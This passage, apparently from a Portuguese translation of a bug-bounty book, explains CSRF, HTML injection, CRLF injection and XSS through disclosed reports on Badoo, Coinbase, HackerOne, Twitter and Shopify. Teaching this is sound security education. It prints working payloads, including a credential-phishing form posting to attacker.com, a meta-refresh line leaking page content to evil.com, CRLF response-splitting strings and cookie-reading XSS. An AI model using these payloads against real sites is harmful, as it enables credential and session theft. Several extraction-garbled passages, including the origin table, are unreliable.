Quando a função analisa a variável url_stats do arquivo JavaScript vulnerável do Badoo, ela divide
a string no valor da matriz:
https://eu1.badoo.com/chrome-push-stats?ws,1&rt,<rt_param_value>
Em seguida, a função retorna o terceiro membro da matriz, que é o valor rt para que csrf_code
agora seja igual ao valor rt.
Depois de obter o token CSRF, Mahmoud cria a variável csrf_url, que armazena um URL para
a página da Web /google/verify.phtml do Badoo, que vincula sua própria conta do Google à
conta do Badoo da vítima. Esta página requer alguns parâmetros, que são codificados na string
de URL. Não abordaremos em detalhes aqui, pois são específicos do Badoo, no entanto, você
deve observar o parâmetro rt final que não possui um valor codificado.
Em vez disso, csrf_code é concatenado ao final da string de URL para que seja passado como
o valor do parâmetro rt. Mahmoud então faz uma solicitação HTTP invocando window.location e
o atribui a csrf_url, que redireciona o navegador do usuário visitante para a URL de csrf_url. O
navegador do usuário então processa a página /google/verify.phtml e vincula a conta do Badoo
do usuário à conta do Google de Mahmoud, concluindo assim o controle da conta.
Aprendizado
Onde há fumaça, há fogo. Aqui, Mahmoud notou que o parâmetro rt estava sendo retornado
em diferentes locais, em particular nas respostas JSON. Por causa disso, ele adivinhou
corretamente que o rt poderia aparecer em algum lugar onde poderia ser acessado por um
invasor e explorado – que neste caso era um arquivo JavaScript. Se você sentir que algo
está errado, continue cavando. Use um proxy e verifique todos os recursos que estão sendo
chamados quando você visita um site ou aplicativo de destino. Você pode encontrar um
vazamento de informações com dados confidenciais, como um token CSRF.
Além disso, este é um ótimo exemplo de ir além para fornecer uma prova incrível de uma
exploração. Mahmoud não apenas encontrou a vulnerabilidade, mas também forneceu um
exemplo completo de como ela poderia ser explorada por meio de seu HTML.
Resumo
As vulnerabilidades CSRF representam outro vetor de ataque e podem ser executadas sem que
a vítima saiba ou execute ativamente uma ação. Encontrar vulnerabilidades CSRF requer
alguma engenhosidade e, novamente, um desejo de testar tudo.
Geralmente, estruturas de aplicativos como Ruby on Rails estão protegendo cada vez mais os
formulários da Web se o site estiver executando solicitações POST; dados do usuário (como
ações DELETE). Por fim, se você perceber que um site está enviando um token CSRF com uma
solicitação POST, tente alterar o valor do token CSRF ou removê-lo totalmente para garantir que
o servidor esteja validando sua existência.
7. Injeção de HTML
Descrição
A injeção de Linguagem de Marcação de Hipertexto (HTML) às vezes também é chamada de desfiguração

virtual. Este é realmente um ataque possibilitado por um site que permite que um usuário mal-intencionado
injete HTML em sua(s) página(s) da Web por não manipular a entrada de um usuário adequadamente. Em
outras palavras, uma vulnerabilidade de injeção de HTML é causada pelo recebimento de HTML, geralmente
por meio de alguma entrada de formulário, que é renderizada como inserida na página da web. Isso é
separado e distinto da injeção de Javascript, VBScript, etc., que pode levar a ataques de script entre sites.
Como o HTML é a linguagem usada para definir a estrutura de uma página da Web, se um invasor puder
injetar HTML, ele poderá alterar essencialmente a renderização de um navegador e a aparência de uma
página da Web. Às vezes, isso pode resultar na alteração completa da aparência de uma página ou, em
outros casos, na criação de formulários HTML para enganar os usuários na esperança de que eles usem o
formulário para enviar informações confidenciais (isso é conhecido como phishing). Por exemplo, se você
puder injetar HTML, poderá adicionar uma tag <form> à página, solicitando ao usuário que insira novamente
seu nome de usuário e senha como:
<form method='POST' action='http://attacker.com/capture.php' id="login-form">

<input type='text' name='username' value=''> <input type ='password'
name='password' value=''> <input type='submit' value='submit'>
</form>
No entanto, ao enviar este formulário, as informações são realmente enviadas para http://attacker.com por
meio de um atributo de ação, que envia as informações para a página da Web de um invasor.
Exemplos
1. Comentários da Coinbase
Dificuldade: Baixa
URL: coinbase.com/apps
Injeção de HTML 39
Descrição:
Para esta vulnerabilidade, o repórter identificou que a Coinbase estava realmente decodificando valores
codificados por URI ao renderizar texto. Para quem não conhece, os caracteres em um URI são
reservados ou não reservados. De acordo com a Wikipedia, âreservados são caracteres que às vezes
têm um significado especial como / e &. Os caracteres não reservados são aqueles sem nenhum
significado especial, geralmente apenas letras.â
Portanto, quando um caractere é codificado por URI, ele é convertido em seu valor de byte no American
Standard Code for Information Interchange (ASCII) e precedido por um sinal de porcentagem (%).
Assim, / torna-se %2F e torna-se %26. Como um aparte, ASCII é um tipo de codificação que era mais
comum na internet até que UTF-8 surgiu, outro tipo de codificação.
Com relação a este exemplo, se um invasor inseriu HTML como:
<h1>Isto é um teste</h1>
A Coinbase realmente renderizaria isso como texto simples, exatamente como você vê acima. No entanto,
se o usuário enviar caracteres codificados de URL, como:
%3C%68%31%3E%54%68%69%73%20%69%73%20%61%20%74%65%73%74%3C%2F%68%31%3E
A Coinbase realmente decodificaria essa string e renderizaria as letras correspondentes nas tags <h1> :
Isto é um teste
Com isso, o hacker de relatórios demonstrou como poderia gerar um formulário HTML com campos de
nome de usuário e senha, que o Coinbase renderizaria. Se o hacker fosse mal-intencionado, ele poderia
ter usado a vulnerabilidade para induzir os usuários a enviar um formulário que ele controlava, renderizado
na Coinbase, para enviar valores de volta a um site malicioso e capturar credenciais (supondo que as
pessoas preencheram e enviaram o formulário).
Aprendizado
Ao testar um site, verifique como ele lida com diferentes tipos de entrada, incluindo
texto simples e texto codificado. Fique atento a sites que aceitam valores codificados
de URI como %2F e renderizam seus valores decodificados, neste caso /. Embora
não saibamos o que o hacker estava pensando neste exemplo, é possível que ele
tenha tentado codificar caracteres restritos por URI e notado que a Coinbase os
estava decodificando. Eles então deram um passo adiante e o URI codificou todos
os caracteres.
Um ótimo canivete suíço que inclui ferramentas de codificação é https://

gchq.github.io/CyberChef/. Eu recomendo dar uma olhada e adicioná-lo à sua lista
de ferramentas úteis.
2. Inclusão de HTML não intencional do HackerOne
Dificuldade: Média
URL: hackerone.com
Descrição:
Depois de ler sobre o Yahoo! XSS (incluído no capítulo Cross-Site Scripting) Fiquei obcecado em testar
a renderização de HTML em editores de texto. Isso incluía brincar com o editor Markdown do
HackerOne, inserindo coisas como ismap= “yyy=xxx” e “'test” dentro das tags de imagem. Ao fazer
isso, notei que o editor incluiria uma aspa simples dentro de uma aspa dupla - o que é conhecido como
marcação pendente.
Na época, eu realmente não entendia as implicações disso. Eu sabia que se você injetasse outra aspa
simples em algum lugar, as duas poderiam ser analisadas juntas por um navegador que veria todo o
conteúdo entre elas como um elemento HTML. Por exemplo:
<h1>Isto é um teste</h1><p class="some class">algum conteúdo</p>'
Com este exemplo, se você conseguiu injetar uma meta tag com uma aspa simples como a seguinte no
atributo content:
<meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=
O navegador enviaria tudo entre as duas aspas simples quando executasse a ação de atualização
chamando https://evil.com (uma marca de meta atualização instrui um navegador da web a
atualizar automaticamente a página da web ou quadro atual após um determinado intervalo de tempo e
pode ser usado para instruir o navegador a solicitar uma nova página por meio do atributo URL). Acontece
que isso era conhecido e divulgado no Relatório HackerOne 110578 de Inti De Ceukelaire3 Quando . se
isso
tornou público, meu coração afundou um pouco.
De acordo com o HackerOne, eles contam com uma implementação de Redcarpet (uma biblioteca Ruby
para processamento Markdown) para escapar da saída HTML de qualquer entrada Markdown que é
passada diretamente para o HTML DOM por meio do método perigosamenteSetInnerHTML em seu
componente React (React é um Javascript biblioteca que pode ser usada para atualizar dinamicamente o
conteúdo de uma página da Web sem recarregar a página). Na implementação do HackerOne, eles não
estavam escapando adequadamente da saída HTML, o que levou à potencial exploração. Agora, dito isso,
vendo a divulgação, pensei em testar o novo código. Voltei e testei adicionando:
[teste](http://www.torontowebsitedeveloper.com "test ismap="alert xss" yyy="test"")
que foi renderizado como:
<a title="'test" ismap="alert xss" yyy="test" ' ref="http://www.toronotwebsitedeveloper.com">teste</a>
Como você pode ver, consegui injetar um monte de HTML na tag <a> . Como resultado, o HackerOne
reverteu sua correção original e começou a trabalhar para escapar das aspas simples novamente.
Aprendizado
Só porque o código foi atualizado, não significa que tudo está corrigido. Teste as coisas.
Quando uma alteração é implantada, isso também significa um novo código que pode conter bugs.
Além disso, se você sentir que algo não está certo, continue cavando! Eu sabia que a aspa simples
inicial poderia ser um problema, mas não sabia como explorá-la e parei. Eu deveria ter continuado.
Na verdade, aprendi sobre o exploit de atualização meta lendo o blog.innerht.ml do FileDescriptor
(está incluído no capítulo Recursos), mas muito mais tarde.
3. Dentro da falsificação de conteúdo de segurança
Dificuldade: Baixa
URL: insidesecurity.com/wp-login.php

3https://hackerone.com/intidc
Descrição:
Embora a falsificação de conteúdo seja tecnicamente um tipo de vulnerabilidade diferente da injeção

de HTML, incluí-a aqui, pois ela compartilha a natureza semelhante de um invasor tendo um site
renderizado com conteúdo de sua escolha.
Within Security foi construído na plataforma Wordpress, que inclui o caminho de login
withinsecurity.com/wp-login.php (o site já foi fundido com a plataforma principal do HackerOne). Um
hacker notou que durante o processo de login, se ocorresse um erro, o Within Security renderizaria
access_denied, que também correspondia ao parâmetro de erro na URL:
https://withinsecurity.com/wp-login.php?error=access_denied
Percebendo isso, o hacker tentou modificar o parâmetro de erro e descobriu que qualquer valor
passado era renderizado pelo site como parte da mensagem de erro apresentada aos usuários.
Segue o exemplo utilizado:
https://withinsecurity.com/wp-login.php?error=Your%20account%20has%20%hackeado
Fraude de conteúdo de segurança interna
A chave aqui foi observar o parâmetro no URL sendo renderizado na página. Um teste simples
alterando o parâmetro access_denied provavelmente revelou a vulnerabilidade neste caso, o que
levou ao relatório.
Aprendizado
Fique de olho nos parâmetros de URL que estão sendo passados e renderizados como
conteúdo do site. Eles podem apresentar oportunidades para os invasores enganarem as vítimas
para que executem alguma ação maliciosa. Às vezes, isso resulta em ataques de script entre
sites, enquanto outras vezes é uma falsificação de conteúdo e injeção de HTML menos
impactantes. É importante ter em mente que, embora este relatório tenha pago US$ 250, essa
foi a recompensa mínima para o Within Security e nem todos os programas valorizam e pagam
por esses tipos de relatórios.
Resumo
A injeção de HTML apresenta uma vulnerabilidade para sites e desenvolvedores porque pode
ser usada para phishing de usuários e induzi-los a enviar informações confidenciais ou visitar
sites maliciosos.
Descobrir esses tipos de vulnerabilidades nem sempre é enviar HTML simples, mas também
explorar como um site pode renderizar o texto inserido, como caracteres codificados por URI. E,
embora não seja totalmente igual à injeção de HTML, a falsificação de conteúdo é semelhante,
pois envolve ter alguma entrada refletida de volta para a vítima na página HTML. Os hackers
devem estar atentos à oportunidade de manipular parâmetros de URL e renderizá-los no site,
mas lembre-se de que nem todos os sites valorizam e pagam por esses tipos de relatórios.
8. Injeção CRLF
Descrição
Uma vulnerabilidade de injeção de alimentação de linha de retorno de carro (CRLF) ocorre quando um
aplicativo não limpa a entrada do usuário corretamente e permite a inserção de retornos de carro e
alimentações de linha, entradas que para muitos protocolos de Internet, incluindo HTML, denotam quebras
de linha e têm um significado especial.
Por exemplo, a análise de mensagens HTTP depende de caracteres CRLF para identificar seções de
mensagens HTTP, incluindo cabeçalhos, conforme definido em RFCs e utilizado pelos navegadores. URL
codificado, esses caracteres são %0D%0A, que decodificados representam \r\n. O efeito de uma injeção
de CRLF inclui contrabando de solicitação HTTP e divisão de resposta HTTP.
O contrabando de solicitação HTTP ocorre quando uma solicitação HTTP é passada por um servidor que
a processa e a passa para outro servidor, como um proxy ou firewall. Este tipo de vulnerabilidade pode
resultar em:
• Envenenamento de cache, uma situação em que um invasor pode alterar entradas no cache de um
aplicativo e exibir páginas maliciosas (por exemplo, contendo JavaScript) em vez de uma página
adequada
• Evasão de firewall, onde uma solicitação pode ser criada usando CRLFs para evitar verificações de
segurança • Seqüestro de solicitação, uma situação em que um invasor pode roubar cookies HttpOnly
e informações de autenticação HTTP. Isso é semelhante ao XSS, mas não requer interação entre o
invasor e o cliente
Agora, embora existam essas vulnerabilidades, elas são difíceis de alcançar e detalhá-las está além do
escopo deste livro. Eu os mencionei aqui apenas para demonstrar o quão severo o impacto do Request
Smuggling pode ser.
A divisão de resposta HTTP, no entanto, permite que um invasor insira cabeçalhos de resposta HTTP e
potencialmente controle os corpos de resposta HTTP ou divida a resposta totalmente, criando efetivamente
duas respostas separadas. Isso é eficaz porque a modificação de cabeçalhos HTTP pode resultar em
comportamento não intencional, como redirecionar um usuário para um site inesperado ou fornecer
conteúdo explicitamente novo controlado por invasores.
Injeção CRLF 45
1. Divisão da resposta HTTP do Twitter
Dificuldade: Alta
URL: https://twitter.com/i/safety/report_story
Data do relatório: 21 de abril de 2015
Recompensa paga: $ 3.500
Descrição:
Em abril de 2015, o @filedescriptor relatou uma vulnerabilidade no Twitter que permitia aos hackers definir um
cookie arbitrário adicionando informações adicionais a uma solicitação HTTP.
Essencialmente, a solicitação HTTP para https://twitter.com/i/safety/report_story (uma relíquia do Twitter que

permite aos usuários denunciar anúncios impróprios) incluiria um parâmetro reportado_tweet_id.
Ao responder, o Twitter também retornaria um cookie que incluía o mesmo parâmetro passado com a solicitação
HTTP. Durante seus testes, @filedescriptor observou que os caracteres CR e LF foram higienizados, que LF foi
substituído por um espaço e CR resultaria em HTTP 400 (Bad Request Error).
No entanto, sendo uma enciclopédia de conhecimento, ele sabia que o FireFox tinha anteriormente um bug de
codificação que removia todos os caracteres inválidos recebidos ao definir cookies em vez de codificá-los. Isso foi
resultado do FireFox aceitar apenas um determinado intervalo de valores aceitáveis. Testando uma abordagem
semelhante com o Twitter, @filedescriptor usou o caractere Unicode å˜ (U+560A) que termina em %0A, uma
alimentação de linha. Mas essa não era a solução. Mas esse parâmetro estava sendo passado na URL, o que
significa que a URL foi codificada com UTF-8. Como resultado, å˜ tornou-se %E5%98%8A.
Agora, ao enviar esse valor, @filedescriptor descobriu que o Twitter não detectaria nenhum caractere malicioso, seu
servidor decodificaria o valor de volta para seu valor Unicode 56 0A e removeria o caractere inválido 56. Isso deixou
os caracteres de alimentação de linha 0A, conforme demonstrado em seu imagem que descreve o processo:
Injeção CRLF 46
Processo de Decodificação CRLF
Da mesma forma, ele foi capaz de passar %E5%98%8A%E5%98%8DSet-Cookie:%20test que

resultou na inclusão de %0A e %0D no cabeçalho do cookie e permitiu que ele recebesse Set
Cookie: test de volta Twitter.
Agora, os ataques CLRF podem ser ainda mais perigosos quando permitem ataques XSS
(consulte o capítulo Cross-Site Scripting para obter mais informações). Nesse caso, como os
filtros do Twitter foram ignorados, @filedescriptor pode dividir a resposta e executar o XSS para
roubar a sessão e o token de um usuário. Aqui está o URL dividido em várias linhas para fins de formatação:
Injeção CRLF 47
https://twitter.com/login?redirect_after_login=
https://twitter.com:21/%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98 %8D
localização:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%2\
9%E5%98%BE
Observe os valores de 3 bytes salpicados, %E5%98%8A, %E5%98%8D, %E5%98%BC,

%E5%98%BE. Todos eles são decodificados para:
%E5%98%8A => 56 0A => %0A

%E5%98%8D => 56 0D => %0D
%E5%98%BC => 56 3C => %3C
%E5%98%BE => 56 3E => %3E
Substituindo todos esses caracteres e adicionando quebras de linha, veja como fica o cabeçalho:
https://twitter.com/login?redirect_after_login=https://twitter.com:21/ content-
type:text/html localização:
<svg/onload=alert(innerHTML)>
Como você pode ver, as quebras de linha permitem a criação de um novo cabeçalho a ser retornado
com código JavaScript executável - svg/onload=alert(innerHTML). O alerta criará um pop-up com o
conteúdo da página da Web como uma prova de conceito para o Twitter. Com esse código, um
usuário mal-intencionado pode roubar as informações da sessão do Twitter de uma vítima inocente,
pois essas informações confidenciais foram incluídas como um cabeçalho após a localização da
injeção @filedescriptor explorada.
Aprendizado
Um bom hacking é uma combinação de observação e habilidade. Nesse caso, @filedescrip tor
sabia de um bug de codificação anterior do Firefox que manipulava incorretamente a codificação.
Com base nesse conhecimento, ele testou uma codificação semelhante no Twitter para inserir
caracteres maliciosos.
Ao procurar vulnerabilidades, lembre-se sempre de pensar fora da caixa e enviar valores

codificados para ver como o site lida com a entrada.
2. Divisão de resposta v.shopify.com
Dificuldade: Média
Injeção CRLF 48
URL: v.shopify.com/last_shop?x.myshopify.com Link do
relatório: https://hackerone.com/reports/1064272 Data do
relatório: 22 de dezembro de 2015 Recompensa paga: US$
500 Descrição:
Como administrador de loja, a Shopify inclui funcionalidade do lado do servidor que define um cookie em
seu navegador para registrar a última loja em que você fez login. Presumivelmente, esta é uma função de
conveniência para redirecioná-lo para seu subdomínio ao fazer login e logout, pois os URLs seguem o
padrão STORENAME.myshopify.com. Essa configuração de cookie ocorre por meio de uma solicitação
GET para /last_shop?SITENAME.shopify.com Em dezembro de 2015, um hacker relatou que a Shopify
não estava validando o parâmetro shop sendo passado para a chamada. Como resultado, usando o Burp
Suite, esse hacker alterou a solicitação anexando %0d%0a para gerar novos cabeçalhos retornados dos
servidores da Shopify. Aqui está uma captura de tela:
Divisão de resposta HTTP da Shopify
Aqui está o código malicioso:
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/h\
tml%0d%0aContent-Length:%2019%0d%0a% 0d%0a<html>desfigurar</html>
Nesse caso, %20 representa um espaço e %0d%0a é o CRLF. Como resultado, o navegador recebeu duas
respostas HTTP válidas e renderizou a segunda, o que pode ter levado a várias vulnerabilidades, incluindo
XSS e phishing.
Aprendizado
Esteja atento a oportunidades em que um site está aceitando sua entrada e usando-a como
parte de seus cabeçalhos de retorno, principalmente configurando cookies. Isso é particularmente
significativo quando ocorre por meio de uma solicitação GET, pois é necessária menos interação
da vítima.
Injeção CRLF 49
Resumo
Um bom hacking é uma combinação de observação e habilidade, e saber como os caracteres
codificados podem ser usados para explorar vulnerabilidades é uma ótima habilidade. %0D%0A
são caracteres particularmente significativos, pois podem levar a problemas de injeção de CRLF.
Ao hackear, fique atento a parâmetros que são potencialmente controlados pelo invasor, mas
que são refletidos em um cabeçalho HTTP. Se estiverem, comece a testar o site para lidar com
caracteres codificados, particularmente %0D%0A. Se for bem-sucedido, tente dar um passo
adiante e combine a vulnerabilidade com uma injeção de XSS para uma prova de conceito impactante.
Por outro lado, se o servidor não responder a %0D%0A, pense em como você pode codificar
esses caracteres duplamente, passando %250D ou adicionando caracteres de 3 bytes caso o
site esteja manipulando incorretamente os valores extras como @filedescriptor fez.
9. Script entre sites

Descrição
Um dos exemplos mais famosos de uma vulnerabilidade de cross-site scripting (ou XSS) foi o Myspace
Samy Worm criado por Samy Kamkar. Em outubro de 2005, Samy explorou uma vulnerabilidade XSS
no Myspace que lhe permitiu armazenar uma carga JavaScript em seu perfil. Quando um usuário
conectado visitava seu perfil no Myspace, o código de carga útil era executado, tornando o visualizador
amigo de Samy no Myspace e atualizando o perfil do visualizador para exibir o texto, “mas acima de
tudo, Samy é meu herói”. Então, o código se copiava para o perfil do visualizador e continuava infectando
outras páginas de usuários do Myspace.
Embora Samy não tenha criado o worm com intenção maliciosa, o Myspace não gostou muito dele e o
governo invadiu a residência de Samy. Samy foi preso por liberar o worm e se declarou culpado de uma
acusação criminal.
Embora o worm de Samy seja um exemplo extremo, sua exploração mostra o amplo impacto que uma
vulnerabilidade XSS pode ter em um site. Semelhante a outras vulnerabilidades que abordamos até
agora, as vulnerabilidades XSS ocorrem quando os sites processam certos caracteres não sanitizados,
o que faz com que os navegadores executem JavaScript não intencional. Esses caracteres incluem
aspas duplas (“), aspas simples (') e colchetes angulares (< >). Eles são especiais porque são usados
em HTML e JavaScript para definir a estrutura de uma página da web. Por exemplo, se um site não
limpou os colchetes angulares, você pode inserir <script></script>:
<script>alert(document.domain)</script>
Quando essa carga útil é enviada para um site e tornada não sanitizada, as tags <script></script> instrui
o navegador a executar o JavaScript entre elas. Nesse caso, o payload executaria a função de alerta,
que cria uma caixa de diálogo pop-up que exibe as informações passadas para o alerta. A referência
ao documento dentro dos parênteses é o DOM e, neste caso, retornará o nome de domínio do site. Se
a carga for executada em https://www.example.com/foo/bar, a caixa pop-up exibirá www.example.com.
Se um site estivesse limpando adequadamente esses caracteres, eles seriam renderizados como
entidades HTML. Visualizar a origem da página de uma página da web com eles mostrariaou
“como
",
"
'
como ' ou &39;, < como < ou < e > como > ou >.
Depois de encontrar uma vulnerabilidade XSS, você deve confirmar seu impacto porque nem todas as
vulnerabilidades XSS são iguais. Confirmar e incluir oajudará
seu relatório, impactoosde um bugaem
triadores sua redação
validar seu bug melhorará
e poderá
melhorar sua recompensa.
Script entre sites 51
Por exemplo, uma vulnerabilidade XSS em um site que não usa o sinalizador httpOnly em cookies
confidenciais é diferente de uma vulnerabilidade XSS que usa. Sem o sinalizador httpOnly, seu XSS
pode ler os valores do cookie e, se eles incluírem cookies de identificação de sessão, você poderá
roubar a sessão de um alvo e acessar sua conta. Você pode alertar document.cookie para confirmar
isso (saber quais cookies são considerados confidenciais por um site requer tentativa e erro por site).
Mesmo nos casos em que você não tem acesso a cookies confidenciais, você pode alertar
document.domain para confirmar se pode acessar informações confidenciais do usuário do DOM e
executar ações em nome do destino. O XSS pode não ser uma vulnerabilidade para o site se o
domínio correto não for alertado.
Se você alertar document.domain de um iFrame em área restrita, por exemplo, seu JavaScript pode
ser inofensivo, pois não pode acessar cookies, executar ações na conta do usuário ou acessar
informações confidenciais do usuário do DOM. Isso ocorre porque os navegadores implementam
uma Same Origin Policy (SOP) como um mecanismo de segurança.
O SOP restringe como os documentos (o D no DOM) podem interagir com recursos carregados de
outra origem. O SOP protege sites inocentes de sites mal-intencionados que tentam explorá-los por
meio do usuário. Por exemplo, se você visitou www.malicious.com e ele invocou uma solicitação
GET para www.example.com/profile em seu navegador, o SOP impediria que www.malicious.com
lesse a resposta www.example.com/profile . No entanto, www.example.com pode permitir que outros
sites interajam com ele de origem cruzada, mas isso geralmente é limitado a sites específicos e uma
interação ampla e irrestrita geralmente é um erro.
A origem de um site é determinada pelo protocolo (por exemplo, HTTP ou HTTPS), o host (por
exemplo, www.example.com) e a porta do site. A exceção a essa regra é o Internet Explorer, que
não considera a porta como parte da origem. Aqui estão alguns exemplos de origens e se eles
seriam considerados iguais a http://www.example.com.
URL Mesma Origem? Razão
http://www.leanpub.com/web hacking-101 Sim N/D

http://www.leanpub.com/a/yaworsk Sim
https://www.leanpub.com/web Não hacking-101 http:// N/D
store.leanpub .com/web hacking-101 http:// protocolo diferente
www.leanpub.com:8080/web hacking-101
Não Host diferente
Não porta diferente
Existem algumas situações em que o URL não corresponde à origem. Os navegadores lidam com o
contexto de dois esquemas SOP de maneira diferente: about:blank e javascript:. Esses dois
esquemas herdam a origem do documento que os abre. O contexto about:blank faz parte do esquema
de URL about usado para acessar informações ou interagir com o próprio navegador. O esquema de
URL do JavaScript é usado para executar o JavaScript. A URL não fornece
informações sobre sua origem, portanto, os dois esquemas são tratados de maneira diferente.
Quando você encontra uma vulnerabilidade XSS, usar alert(document.domain) em sua prova de conceito é útil
porque confirma a origem onde o XSS é executado, especialmente em situações onde a URL mostrada no
navegador é diferente da origem que o XSS executa contra. Isso é exatamente o que acontece quando um site
abre um javascript: URL.
Se www.example.com abrisse um URL javascript:alert(document.domain) , o endereço do navegador mostraria
javascript:alert(document.domain), mas a caixa de alerta diria www.example.com porque o alerta herda a origem
do documento anterior.
Embora tenhamos coberto apenas um exemplo que usa a tag HTML <script> para obter XSS, nem sempre você
poderá enviar tags HTML quando encontrar uma possível injeção. Nesses casos, você ainda pode enviar aspas
simples ou duplas para injetar uma carga XSS.
Isso ainda pode ser significativo dependendo de onde sua injeção ocorre. Por exemplo, digamos que você tenha
acesso ao atributo value do seguinte código:
<input type="text" name="username" value="hacker">
Injetando uma aspa dupla no atributo de valor, você pode fechar a citação existente e injetar uma carga XSS
maliciosa na tag. Você pode fazer isso alterando o atributo de valor para hacker" onfocus=alert(document.cookie)
autofocus " , o que resultaria em:
<input type="text" name="username" value="hacker" onfocus=alert(document.cookie) autofocus "">
O atributo autofocus instrui o navegador a colocar o foco do cursor na caixa de texto de entrada assim que a
página for carregada e onfocus é um atributo JavaScript usado para dizer ao navegador para executar JavaScript
quando a caixa de texto de entrada é o foco (sem autofocus, o onfocus geralmente ocorreria quando uma pessoa
clica na caixa de texto). No entanto, isso tem limites, pois você não pode focar automaticamente em um campo
oculto e, se houver vários campos em uma página com foco automático, o primeiro ou o último elemento será
focado, dependendo do navegador usado para teste. Quando a carga útil é executada, ela alerta em
document.cookie.
Da mesma forma, digamos que você tenha acesso a uma variável em uma tag de script. Se você pudesse injetar
aspas simples no valor da variável name no código a seguir, poderia fechar a variável e executar seu próprio
JavaScript:
<script>
var nome = 'hacker';
</script>
Aqui, já que controlamos o valor hacker, alterando a variável name para hacker';alert(document.cookie);' resultaria em:
<script>
var name = 'hacker';alert(document.cookie);''; </
script>
A injeção de aspas simples e ponto e vírgula fecha o nome da variável e como estamos em uma tag
<script> , a função JavaScript alert(document.cookie), que também injetamos, será executada.
Adicionamos um ;' para encerrar nossa chamada de função e garantir que o JavaScript esteja
sintaticamente correto, pois o site inclui um '; para fechar a variável de nome. Sem o '; no final, haveria
uma aspa simples que poderia quebrar a sintaxe da página.
Em termos de teste de XSS, é importante perceber que existem realmente dois tipos principais de
XSS: refletido e armazenado. O XSS refletido ocorre quando a carga XSS é entregue e executada por
meio de uma única solicitação HTTP e não é armazenada em nenhum lugar do site. Como não é
armazenado, não é possível executar o payload sem enviar outra solicitação HTTP com o payload. No
entanto, os navegadores (Chrome, Internet Explorer, Edge e Safari) tentaram evitar esse tipo de
vulnerabilidade introduzindo XSS Auditors. Isso é construído em navegadores de funcionalidade que
tentam proteger os usuários de links maliciosos que executam JavaScript. Quando isso ocorre, o
navegador normalmente mostra uma página quebrada com uma mensagem informando que a página
foi bloqueada para proteger os usuários.
Apesar dos melhores esforços dos desenvolvedores de navegadores, os Auditores XSS são
frequentemente ignorados devido às formas complexas pelas quais o JavaScript pode ser executado
em um site. Como esses desvios mudam com frequência, eles estão além do escopo deste livro, mas
, de dicas
dois ótimos recursos são a postagem do blog do FileDescriptor no cabeçalho x-xss-protection1 e folha
de
desvio de filtro de Masato Kinugawa2 .
Por outro lado, o XSS armazenado ocorre quando um site salva uma carga maliciosa e a torna não
sanitizada. Ao procurar por XSS armazenado, é importante observar que os sites podem renderizar a
carga útil inserida em vários locais. É possível que o payload não seja executado imediatamente após
o envio, mas possa ser executado quando outra página for acessada. Por exemplo, se você criou um
perfil em um site com uma carga útil XSS como seu nome, o XSS pode não ser executado quando
você visualizar seu perfil, mas pode ser executado quando alguém pesquisar seu nome ou enviar uma
mensagem para você.
XSS pode ser dividido em três subtipos: DOM Based, Blind e Self. O XSS baseado em DOM é
resultado da manipulação do código JavaScript existente de um site para executar JavaScript malicioso
e pode ser armazenado ou refletido. Por exemplo, se um site usou o seguinte HTML para substituir o
conteúdo de seu site por um valor do URL sem verificar entradas maliciosas, pode ser possível
executar o XSS:
1https://blog.innerht.ml/the-misunderstood-x-xss-protection/
2https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet
<html>
<body>
<h1>Olá <span id="name"></h1>
<script>
document.getElementById('name').innerHTML=location.hash.split('#')
[1] </script> </body> </html>
Nesta página da Web de exemplo, a tag de script está chamando o método getElementById
do objeto de documento para localizar o elemento HTML com o ID 'name'. Isso retornará uma
referência ao elemento span em nossa tag <h1> . Em seguida, a tag script está modificando o
texto entre <span id="name"> usando o método innerHTML. O script define o texto entre
<span> como o valor de location.hash ou qualquer coisa após um # na URL (location é outra
API do navegador, semelhante ao DOM, e fornece acesso a informações sobre a URL atual).
Se esta página fosse acessível em www.example.com/hi, visitar www.example.com/hi#Peter

resultaria na atualização dinâmica do HTML da página para <h1>Hi Peter</h1>. No entanto,
como esta página não limpa o valor # na URL antes de atualizar o elemento span, se um
usuário visitou www.example.com/h1#<img src=x onerror=alert(document.domain)>, um
JavaScript a caixa de alerta apareceria com www.example.com mostrado (assumindo que
nenhuma imagem x foi retornada ao navegador). O HTML resultante da página ficaria assim:
<html>
<body>
<h1>Olá <span id="name"><img src=x onerror=alert(document.domain)></h1>
<script> document.getElementById('name').innerHTML =location.hash.split('#')[1] </
script> </body>
</html>
Blind XSS é um tipo de XSS armazenado em que a carga XSS é renderizada por outro usuário
em um local do site que um hacker normalmente não pode acessar. Por exemplo, isso pode
acontecer se você puder adicionar XSS como seu nome e sobrenome ao criar um perfil
pessoal em um site. Esses valores podem ser ignorados quando usuários regulares visualizam
seu perfil, mas quando um administrador visita uma página administrativa listando todos os
novos usuários no site, os valores podem não ser limpos e o XSS executado. A ferramenta
XSSHunter3 por Matt Bryant é ótimo para detectá-los. As cargas projetadas por Matt executam
JavaScript que carrega um script remoto projetado para ler o DOM, informações do navegador, cookies,
3https://xsshunter.com/
e outras informações que ele enviará de volta para sua conta XSSHunter quando o script for executado.
As vulnerabilidades Self XSS podem ou não ser armazenadas, mas geralmente afetam apenas o usuário que
insere a carga útil, daí o “self” no nome. Por exemplo, isso pode ocorrer quando o XSS é enviado por meio de
uma solicitação POST, mas a solicitação é protegida por CSRF, portanto, apenas o destino pode enviar a
carga XSS. Como um invasor só pode atacar a si mesmo, esse tipo de XSS geralmente é considerado de
menor gravidade e não é pago por programas de recompensa de bugs.
Se você encontrar esse tipo de XSS, é melhor anotá-lo e procurar oportunidades de combiná-lo com outra
vulnerabilidade para atacar usuários inocentes, como login/logout CSRF.
Nesse tipo de ataque, um alvo é desconectado de sua conta e conectado à conta do invasor para executar o
JavaScript malicioso. Esse ataque normalmente requer a capacidade de fazer o login do alvo novamente
nessa conta por meio do JavaScript malicioso e um ótimo exemplo foi publicado por Jack Whitton em um dos
sites da Uber4 .
O impacto do XSS depende de vários fatores, incluindo se ele é armazenado ou refletido, se os cookies são
acessíveis, onde a carga útil é executada e assim por diante.
Apesar das possíveis implicações, corrigir vulnerabilidades XSS geralmente é fácil e requer apenas que os
desenvolvedores de software sanitizem a entrada do usuário (assim como a injeção de HTML) antes de
renderizá-la.
Exemplos
1. Atacado da Shopify
Dificuldade: Baixa
